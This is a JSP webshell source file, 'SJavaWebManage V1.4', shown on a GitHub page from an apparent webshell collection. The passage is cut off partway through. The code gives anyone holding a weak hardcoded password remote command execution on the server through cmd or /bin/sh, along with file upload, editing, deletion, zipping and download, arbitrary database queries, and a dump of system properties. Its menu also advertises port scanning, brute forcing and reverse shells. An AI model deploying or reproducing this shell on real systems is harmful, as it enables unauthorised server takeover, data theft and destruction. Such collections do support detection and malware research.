forked from backlion/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
SJavaWebManageV1.4.jsp
1754 lines (1604 loc) · 51.4 KB
/
SJavaWebManageV1.4.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%@page import="java.sql.ResultSetMetaData"%>
<%@page import="java.sql.ResultSet"%>
<%@page import="java.sql.DatabaseMetaData"%>
<%@page import="java.sql.DriverManager"%>
<%@page import="java.sql.Statement"%>
<%@page import="java.sql.Connection"%>
<%@page import="java.nio.charset.Charset"%>
<%@page import="java.text.DecimalFormat"%>
<%@page import="java.util.Properties"%>
<%@page import="java.util.ArrayList"%>
<%@page import="java.util.zip.ZipOutputStream"%>
<%@page import="java.util.zip.ZipEntry"%>
<%@page import="java.util.HashMap"%>
<%@page import="java.io.*"%>
<%@page import="java.util.Date"%>
<%@page import="java.text.SimpleDateFormat"%>
<%@page import="java.util.Iterator"%>
<%@page import="java.util.Map"%>
<%@page import="java.security.MessageDigest"%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%!
private static final String PASS = "098f6bcd4621d373cade4e832627b4f6";//test
private static final String VERSION = "V1.4-20160528";
private static final String[] Encodings = {"UTF-8","GB2312","GBK","ISO-8859-1","ASCII","Big5"};
private static final String REQUEST_ENCODING = "ISO-8859-1";
private static final String PAGE_ENCODING = "UTF-8";
private static final String checkNewVersion = "http://www.shack2.org/soft/javamanage/Getnewversion.jsp";//检查新版本更新
private static final String DBO = "mydbdao";//Session数据库连接常量
/*工具类*/
public static class Util{
public static String get32Md5(String str){
try {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(str.getBytes());
byte b[] = md.digest();
int i;
StringBuffer buf = new StringBuffer("");
for (int offset = 0; offset < b.length; offset++) {
i = b[offset];
if (i < 0)
i += 256;
if (i < 16)
buf.append("0");
buf.append(Integer.toHexString(i));
}
return buf.toString().toLowerCase();
} catch (Exception e) {
}
return "";
}
public static boolean isEmpty(String val){
if(val==null||"".equals(val)){
return true;
}
return false;
}
public static String execCmd(String cmd,String encode){
String result="";
String[] rmd=cmd.split(" ");
String[] cmds =new String[rmd.length+2];
String OS = System.getProperty("os.name");
if (OS.startsWith("Windows")) {
cmds[0]="cmd";
cmds[1]="/c";
}
else {
cmds[0]="/bin/sh";
cmds[1]="-c";
}
for(int i=0;i<rmd.length;i++){
cmds[i+2]=rmd[i];
}
Process p=null;
try{
p = Runtime.getRuntime().exec(cmds);
OutputStream os = p.getOutputStream();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader br = new BufferedReader(new InputStreamReader(in,encode));
DataInputStream dis = new DataInputStream(in);
String disr = br.readLine();
while ( disr != null ) {
result+=disr+"<br/>";
disr = br.readLine();
}
if (p.waitFor() != 0){
in = new BufferedInputStream(p.getErrorStream());
br = new BufferedReader(new InputStreamReader(in));
dis = new DataInputStream(in);
disr = br.readLine();
while ( disr != null ) {
result+=disr+"<br/>";
disr = br.readLine();
}
}
}catch(Exception e){
result=e.getMessage();
}finally{
if(p!=null){
p.destroyForcibly();
}
}
return result.replaceAll("\\r\\n", "<br/>");
}
public static String formatPath(String path){
if(isEmpty(path)){
return "";
}
return path.replaceAll("\\\\","/").replace('\\', '/').replaceAll("//", "/");
}
public static String formatDate(long time) {
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
return format.format(new Date(time));
}
//获取参数值
public static String getRequestStringVal(HttpServletRequest request,String key){
String val=request.getParameter(key);
if(!isEmpty(val)){
return val;
}
return "";
}
public static int getRequestIntVal(HttpServletRequest request,String key){
String val=getRequestStringVal(request,key);
int v=0;
try{
v=Integer.parseInt(val);
}catch(Exception e){
}
return v;
}
//
public static void print(JspWriter out,int level,String info) throws Exception{
try{
if(level==1){
out.print("<font color=\"green\">"+info+"</font>");
}
else if(level==2){
out.print("<font color=\"orange\">"+info+"</font>");
}
else if(level==3){
out.print("<font color=\"red\">"+info+"</font>");
}
else{
out.print("<font>"+info+"</font>");
}
}catch(Exception e){
throw e;
}
}
}
/*
数据库操作工具类
*/
private static class DBUtil{
private Connection conn = null;
private Statement stmt = null;
private String driver;
private String url;
private String uid;
private String pwd;
public DBUtil(String driver,String url,String uid,String pwd) throws Exception {
this(driver,url,uid,pwd,false);
}
public DBUtil(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
try{
Class.forName(driver);
if (connect)
this.conn = DriverManager.getConnection(url,uid,pwd);
this.url = url;
this.driver = driver;
this.uid = uid;
this.pwd = pwd;
}catch(ClassNotFoundException e){
e.printStackTrace();
throw e;
}
}
public void connect() throws Exception{
this.conn = DriverManager.getConnection(url,uid,pwd);
}
public Object execute(String sql) throws Exception {
if (isValid()) {
stmt = conn.createStatement();
if (stmt.execute(sql)) {
return stmt.getResultSet();
} else {
return ""+stmt.getUpdateCount();
}
}
throw new Exception("Connection is inValid.");
}
public void closeStmt() throws Exception{
if (this.stmt != null)
stmt.close();
}
public boolean isValid() throws Exception {
return conn != null && !conn.isClosed();
}
public void close() throws Exception {
if (isValid()) {
closeStmt();
conn.close();
}
}
public boolean notchange(String driver,String url,String uid,String pwd) {
return (this.driver.equals(driver) && this.url.equals(url) && this.uid.equals(uid) && this.pwd.equals(pwd));
}
public Connection getConn(){
return this.conn;
}
}
/**
*将文件或是文件夹打包压缩成zip格式
*
*/
public static class ZipUtils {
/**
* 创建ZIP文件
* @param sourcePath 文件或文件夹路径(多个请用逗号隔开)
* @param zipPath 生成的zip文件存在路径(包括文件名)
*/
public static void createZip(String sourcePath, String zipPath) {
FileOutputStream fos = null;
ZipOutputStream zos = null;
try {
fos = new FileOutputStream(zipPath);
zos = new ZipOutputStream(fos);
String[] fs=sourcePath.split(",");
for(int i=0;i<fs.length;i++){
writeZip(new File(fs[i]), "", zos);
}
} catch (Exception e) {
} finally {
try {
if (zos != null) {
zos.close();
}
} catch (IOException e) {
}
}
}
private static void writeZip(File file, String parentPath, ZipOutputStream zos) {
if(file.exists()){
if(file.isDirectory()){//处理文件夹
parentPath+=file.getName()+File.separator;
File [] files=file.listFiles();
for(int i=0;i<files.length;i++){
File f=files[i];
writeZip(f, parentPath, zos);
}
}else{
FileInputStream fis=null;
try {
fis=new FileInputStream(file);
ZipEntry ze = new ZipEntry(parentPath + file.getName());
zos.putNextEntry(ze);
byte [] content=new byte[1024];
int len;
while((len=fis.read(content))!=-1){
zos.write(content,0,len);
zos.flush();
}
} catch (Exception e) {
}finally{
try {
if(fis!=null){
fis.close();
}
}catch(IOException e){
}
}
}
}
}
}
public static class FileUtil{
public static String getFileSize(long size){
DecimalFormat df = new DecimalFormat("#.00");
if(size<1024){
return size+"Byte";
}
else if(size<(1024*1024)){
return df.format((double)(size/1024))+"KB";
}
else if (size<(1024*1024*1240)){
return df.format((double)(size/1024/1024))+"M";
}
else{
return df.format((double)(size/1024/1024/1024))+"G";
}
}
//递归删除文件
public static boolean deleteFile(String path){
File f=new File(path);
if(f.isDirectory()){
File[] fs=f.listFiles();
for(int i=0;i<fs.length;i++){
if(fs[i].isDirectory()){
deleteFile(fs[i].getPath());
}
fs[i].delete();
}
}
return f.delete();
}
public static String writeTextToFile(String text,String path,String encode){
String msg="";
try {
OutputStreamWriter osw = null;
if(Util.isEmpty(encode)){
osw=new OutputStreamWriter(new FileOutputStream(path));
}
else{
osw=new OutputStreamWriter(new FileOutputStream(path),encode);
}
BufferedWriter bw=new BufferedWriter(osw);
bw.write(text);
bw.flush();
bw.close();
osw.close();
msg="保存成功!";
} catch (Exception e) {
msg="保存异常----"+e.getMessage();
}
return msg;
}
public static String readFileToString(String path,String encoding){
OutputStream os=null;
FileInputStream fis=null;
InputStreamReader isr=null;
String result="";
try {
String fname=path.substring(path.lastIndexOf("/")+1);
File f=new File(path);
fis=new FileInputStream(path);
if(Util.isEmpty(encoding)){
isr=new InputStreamReader(fis);
}
else{
isr=new InputStreamReader(fis,encoding);
}
BufferedReader br=new BufferedReader(isr);
String tem=null;
while((tem=br.readLine())!=null){
result+=(tem+"\r\n");
}
br.close();
isr.close();
fis.close();
}catch(Exception e){
result="文件读取错误!"+e.getMessage();
}
return result.replaceAll("<", "<").replaceAll(">", ">");
}
public static void newFile(String path,String isDir) throws Exception{
File f=new File(path);
if(!f.exists()){
if("1".equals(isDir)){
f.mkdir();
}
else{
f.createNewFile();
}
}
}
public static void downLoadFile(HttpServletResponse response,String path){
OutputStream os=null;
FileInputStream fis=null;
BufferedInputStream bis=null;
try {
String fname=path.substring(path.lastIndexOf("/")+1);
File f=new File(path);
os= response.getOutputStream();
response.reset();
response.setHeader("Content-Disposition", "attachment; filename="+fname);
response.setContentType("application/octet-stream; charset=UTF-8");
fis=new FileInputStream(path);
bis=new BufferedInputStream(fis);
byte[] tem=new byte[4068];
int len=0;
while((len=bis.read(tem))!=-1){
os.write(tem,0,len);
}
}catch(Exception e){}
finally {
try{
if(bis!=null) bis.close();
if(fis!=null)fis.close();
if (os != null) {
os.flush();
os.close();
}
}catch(Exception e){}
}
}
}
/*上传类*/
public static class UploadFile {
/**
* 上传文件组件,调用该方法的servlet在使用该方法前必须先调用request.setCharacterEncoding()方法,设置编码格式。该编码格式须与页面编码格式一致。
* @param sis 数据流
* @param encoding 编码方式。必须与jsp页面编码方式一样,否则会有乱码。
* @param length 数据流长度
* @param upLoadPath 文件保存路径
* @throws FileNotFoundException
* @throws IOException
*/
public static HashMap uploadFile(ServletInputStream sis, String encoding, int length, String upLoadPath) throws IOException {
HashMap paramMap = new HashMap();
boolean isFirst = true;
String boundary = null;//分界符
byte[] tmpBytes = new byte[4096];//tmpBytes用于存储每行读取到的字节。
int[] readBytesLength = new int[1];//数组readBytesLength中的元素i[0],用于保存readLine()方法中读取的实际字节数。
int readStreamlength = 0;//readStreamlength用于记录已经读取的流的长度。
String tmpString = null;
tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
while (readStreamlength < length) {
if (isFirst) {
boundary = tmpString;
isFirst = false;
}
if (tmpString.equals(boundary)) {
String contentDisposition = readLine(tmpBytes, readBytesLength, sis, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
String contentType = readLine(tmpBytes, readBytesLength, sis, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
//当时上传文件时content-Type不会是null
if (contentType != null && contentType.trim().length() != 0) {
String paramName = getPramName(contentDisposition);
String fileName = getFileName(getFilePath(contentDisposition));
paramMap.put(paramName, fileName);
//跳过空格行
readLine(tmpBytes, readBytesLength, sis, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
/*
* 文件名不为空,则上传了文件。
*/
if (fileName != null && fileName.trim().length() != 0) {
fileName = upLoadPath + fileName;
//开始读取数据
byte[] cash = new byte[4096];
int flag = 0;
FileOutputStream fos = new FileOutputStream(fileName);
tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
/*
*分界符跟结束符虽然看上去只是结束符比分界符多了“--”,其实不是,
*分界符是“-----------------------------45931489520280”后面有2个看不见的回车换行符,即0D 0A
*而结束符是“-----------------------------45931489520280--”后面再跟2个看不见的回车换行符,即0D 0A
*
*/
while (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) {
for (int j = 0; j < readBytesLength[0]; j++) {
cash[j] = tmpBytes[j];
}
flag = readBytesLength[0];
tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
if (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) {
fos.write(cash, 0, flag);
fos.flush();
} else {
fos.write(cash, 0, flag - 2);
fos.flush();
}
}
fos.close();
} else {
//跳过空格行
readLine(tmpBytes, readBytesLength, sis, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
//读取分界符或者结束符
tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
}
} //当不是长传文件时
else {
String paramName = getPramName(contentDisposition);
String value = readLine(tmpBytes, readBytesLength, sis, encoding);
//去掉回车换行符(最后两个字节)
byte[] valueByte=value.getBytes(encoding);
value =new String(valueByte, 0, valueByte.length-2, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
paramMap.put(paramName, value);
tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
readStreamlength = readStreamlength + readBytesLength[0];
}
}
}
sis.close();
return paramMap;
}
/**
* 从流中读取一行数据。
* @param bytes 字节数组,用于保存从流中读取到的字节。
* @param index 一个整型数组,只有一个元素,即index[0],用于保存从流中实际读取的字节数。
* @param sis 数据流
* @param encoding 组建字符串时所用的编码
* @return 将读取到的字节经特定编码方式组成的字符串。
*/
private static String readLine(byte[] bytes, int[] index, ServletInputStream sis, String encoding) {
try {
index[0] = sis.readLine(bytes, 0, bytes.length);//readLine()方法把读取的内容保存到bytes数组的第0到第bytes.length处,返回值是实际读取的 字节数。
if (index[0] < 0) {
return null;
}
} catch (IOException e) {
return null;
}
if (encoding == null) {
return new String(bytes, 0, index[0]);
} else {
try {
return new String(bytes, 0, index[0], encoding);
} catch (Exception ex) {
return null;
}
}
}
private static String getPramName(String contentDisposition) {
String s = contentDisposition.substring(contentDisposition.indexOf("name=\"") + 6);
s = s.substring(0, s.indexOf('\"'));
return s;
}
private static String getFilePath(String contentDisposition) {
String s = contentDisposition.substring(contentDisposition.indexOf("filename=\"") + 10);
s = s.substring(0, s.indexOf('\"'));
return s;
}
private static String getFileName(String filePath) {
String rtn = null;
if (filePath != null) {
int index = filePath.lastIndexOf("/");//根据name中包不包含/来判断浏览器的类型。
if (index != -1)//包含/,则此时可以判断文件由火狐浏览器上传
{
rtn = filePath.substring(index + 1);//获得文件名
} else//不包含/,可以判断文件由ie浏览器上传。
{
index = filePath.lastIndexOf("\\");
if (index != -1) {
rtn = filePath.substring(index + 1);//获得文件名
} else {
rtn = filePath;
}
}
}
return rtn;
}
}
%>
<%
request.setCharacterEncoding(PAGE_ENCODING);
//shell所在磁盘路径
final String shellPath=request.getContextPath()+request.getServletPath();
//shell磁盘更目录
String webRootPath=request.getSession().getServletContext().getRealPath("/");
if (Util.isEmpty(webRootPath)) {//for weblogic
webRootPath = Util.formatPath(this.getClass().getClassLoader().getResource("/").getPath());
webRootPath = webRootPath.substring(0,webRootPath.indexOf("/WEB-INF"));
webRootPath=webRootPath.substring(0,webRootPath.lastIndexOf("/"));
} else {
webRootPath = application.getRealPath("/");
}
webRootPath=Util.formatPath(webRootPath);
final String shellDir=webRootPath+request.getContextPath();
String m=Util.getRequestStringVal(request, "m");
if(Util.isEmpty(m)){
m="FileManage";
}
//登录密码验证
if("Login".equals(m)){
String dow=Util.getRequestStringVal(request, "do");
if(Util.isEmpty(dow)){
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="author" content="shack2" />
<title>Powered By SJavaWebManage</title>
<style type="text/css">
body {
font-size: 12px;
color: #464646;
margin: 0px;
padding: 10px;
background-color: #fbfbfb;
border-collapse: collapse;
}
div {
line-height: 30px;
}
input {
vertical-align: middle;
}
</style>
</head>
<body>
<div>
<form action="<%=shellPath %>?m=Login&do=DoLogin" method="post"
enctype="application/x-www-form-urlencoded" name="loginForm">
请输入密码:<input type="password" name="pass" /><input name=""
type="submit" value="登录" />
</form>
<%
String info=Util.getRequestStringVal(request, "info");
if("false".equals(info)){
Util.print(out,2,"密码错误,嘎嘎!");
}
%>
</div>
<div style="border-bottom: 2px #ccc solid;">
Copyright (c) 2014 <a href="http://www.shack2.org">http://www.shack2.org</a>
All Rights Reserved| coded by shack2 QQ:1341413415| Powered By
SJavaWebManage| version:<%=VERSION%> 新版本:<script src="<%=checkNewVersion%>"></script></div>
</body>
</html>
<%
}
if("DoLogin".equals(dow)){
String pass=Util.getRequestStringVal(request, "pass");
if(PASS.equals(Util.get32Md5(pass).toLowerCase())){
session.setAttribute("isLogin", "true");
response.sendRedirect(shellPath+"?m=FileManage");
}
else{
response.sendRedirect(shellPath+"?m=Login&info=false");
}
}
//阻止下面的内容输出
return;
}
else{
//登录状态验证
String isLogin=session.getAttribute("isLogin")+"";
if(!"true".equals(isLogin)){
response.sendRedirect(shellPath+"?m=Login");
}
}
%>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<style type="text/css">
body {
font-size: 12px;
color: #464646;
margin: 0px;
padding: 0px;
}
#menue {
height: 35px;
background: #efefef;
overflow: hidden;
margin: 0px auto;
width: 1200px;
padding: 0px 10px 0px 10px;
border-bottom: 1px solid #222;
text-align: center;
}
#menue a {
text-decoration: none;
color: #fff;
padding: 10px 22px 10px 22px;
letter-spacing: 2px;
height: 35px;
line-height: 35px;
font-weight: bold;
}
ul, li, font, dd, dl {
padding: 0px;
margin: 0px
}
#content {
line-height: 30px;
padding: 10px;
overflow: hidden;
margin: 0px auto;
width: 1200px;
color: #464646;
background: #fff;
}
#content div {
line-height: 30px;
}
/*EnvsInfo*/
#EnvsInfo {
padding: 10px;
}
#EnvsInfo li {
line-height: 25px;
}
/*FileManage css*/
#filesList dd, font {
float: left;
text-align: left;
}
.fileName {
width: 600px;
display: block;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.fileUpdateTime, .filePermis {
width: 140px;
}
.fileSize {
width: 120px;
}
.fileDo a {
margin-left: 10px;
color: #464646;
}
#filesList div {
height: 30px;
padding: 0px 5px 0px 5px;;
line-height: 30px;
border-bottom: 1px solid #ccc;
background: #fcfcfc;
}
#filesList a {
height: 30px;
line-height: 30px;
}
#filesList input {
margin: 0px;
padding: 0px;
margin-right: 5px;
vertical-align: text-top;
}
#diskInfo {
clear: both;
height: 30px;
line-height: 30px;
}
#diskInfo a {
height: 30px;
line-height: 30px;
color: #555;
margin-right: 5px;
}
#filesInfo {
padding: 5px;
}
#filesInfo a {
margin-right: 10px;
color: #464646;
}
#CMDS input {
margin: 0px;
vertical-align: middle;
}
#CMDS select {
margin: 0px;
vertical-align: middle;
}
/*CMD*/
#execResult {
line-height: 30px;
}
/*DBManage*/
#dbinfo {
line-height: 25px;
}
#dbdata table {
border-collapse: collapse;
}
#dbdata td {
border-bottom: 1px solid #ccc;
}
/*bottom*/
.bottom {
clear: both;
color: #fff;
width: 1200px;
margin: 0px auto;
padding: 10px;
height: 25px;
line-height: 25px;
background: #888;
text-align: center;
}
.bottom a {
color: #fff;
height: 25px;
line-height: 25px;
li
}
#fileListTop div {
float: left;
}
</style>
<script type="text/javascript">
function post(url,data){
var op=document.getElementById("postForm");
if(op!=null){
document.body.removeChild(op);
}
var pForm = document.createElement("form");
pForm.id="postForm";
document.body.appendChild(pForm);
pForm.method = "post";
pForm.action = url;
for(var x in data){
var input = document.createElement("input");
input.setAttribute("name",x);
input.setAttribute("type","hidden");
input.setAttribute("value",data[x]);
pForm.appendChild(input);
}
pForm.submit();
}
</script>
</head>
<body>
<div>
<!--top-->
<div
style="background-color: #efefef; height: 25px; line-height: 25px; padding: 5px 0px 0px 5px; border-bottom: 2px #000 solid; text-align: center">
Web:localhost:8000 主机IP:192.168.11.11 |Java WebManage coded by shack2
| http://www.shack2.org | version:<%=VERSION%>
ps:本脚本适用于简单的Web管理,为了兼容较低版本JDK,采用JDK1.3开发
</div>
<!--menue-->
<div id="menue">
<a href="javascript:post('<%=shellPath%>',{m:'EnvsInfo'})"
name="EnvsInfo">环境信息</a><a
href="javascript:post('<%=shellPath%>',{m:'FileManage'})"
name="FileManage">文件管理</a><a
href="javascript:post('<%=shellPath%>',{m:'CMDS'})" name="CMDS">命令执行</a><a
href="javascript:post('<%=shellPath%>',{m:'DBManage'})">数据库管理</a><a
href="javascript:void(0)">端口扫描</a><a href="javascript:void(0)">暴力破解</a><a
href="javascript:void(0)">反弹控制</a><a href="javascript:void(0)">远程文件下载</a><a
href="javascript:void(0)">远程控制</a><a href="http://www.shack2.org">更
新</a><a href="http://www.shack2.org">bug反馈</a><a
href="javascript:void(0)">退出</a>
</div>
<!--content-->
<div id="content">
<%
if("EnvsInfo".equals(m)){
%>
<!--环境信息-->
<div id="EnvsInfo">
<ul>
<%
Properties ps=System.getProperties();
Iterator iter=ps.keySet().iterator();
while (iter.hasNext()) {
String key=iter.next()+"";
out.print("<li>"+key+" "+ps.getProperty(key)+"</li>");
}
%>
</ul>
</div>
<%
}
%>
<%
//文件管理
if("FileManage".equals(m)){
String dow=Util.getRequestStringVal(request, "do");
String path=Util.getRequestStringVal(request, "path");
if("upload".equals(dow)){
if(!Util.isEmpty(path)){
UploadFile.uploadFile(request.getInputStream(), PAGE_ENCODING,Integer.parseInt(request.getHeader("Content-Length")),path);
out.print("<script type=\"text/javascript\">post('"+shellPath+"',{'m':'FileManage','dir':'"+path+"'});</script>");
//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
}
}
if("newFile".equals(dow)){
if(!Util.isEmpty(path)){
String isDir=Util.getRequestStringVal(request, "isDir");
String fname=Util.getRequestStringVal(request, "fileName");
FileUtil.newFile(path+"/"+fname,isDir);
out.print("<script type=\"text/javascript\">post('"+shellPath+"',{'m':'FileManage','dir':'"+path+"'});</script>");
//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
}
}
else if("packFiles".equals(dow)){
if(!Util.isEmpty(path)){
String files=Util.getRequestStringVal(request, "files");
String zipName=Util.getRequestStringVal(request, "zipName");
String toPath="";
if(Util.isEmpty(files)){
File f=new File(path);
ZipUtils.createZip(path, Util.formatPath(f.getParent())+"/"+zipName+".zip");
}
else{
//打包多个文件
toPath=path;
ZipUtils.createZip(files, path+"/"+zipName+".zip");
}
out.print("<script type=\"text/javascript\">post('"+shellPath+"',{'m':'FileManage','dir':'"+toPath+"'});</script>");
//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
}
}
else if("editFile".equals(dow)){
String encoding=Util.getRequestStringVal(request, "encode");
String result="";
String msg="";
String content=Util.getRequestStringVal(request, "content");
if(!Util.isEmpty(content)){
msg=FileUtil.writeTextToFile(content, path, encoding);